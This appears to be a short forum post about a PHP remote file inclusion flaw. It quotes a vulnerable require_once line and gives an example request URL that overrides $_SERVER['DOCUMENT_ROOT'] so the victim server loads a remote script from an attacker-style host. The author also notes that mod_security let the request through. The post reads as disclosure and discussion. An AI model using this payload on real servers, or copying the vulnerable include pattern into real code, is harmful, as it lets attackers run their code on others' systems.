(I think it requires both register_globals and allow_url_fopen to be on, but I'm not sure if you can't get it to work with only allow_url_fopen....)

as I just found out, it can, as long as the PHP developer was even more naive than usual. The offending line was:

require_once($_SERVER['DOCUMENT_ROOT']."/db.inc.php");

then a request like:

http://victim.com/index.php?_SERVER%5BDOCUMENT_ROOT%5D=http://badguysit e.es/bot.txt

will do a fopen() for "http://badguysite.es/bot.txt/db.inc.php", which is good enough.

And yeah this works with register_globals off, which surprised me. And also surprised that mod_security has no problem with that URL. I am going to raise the issue with them.
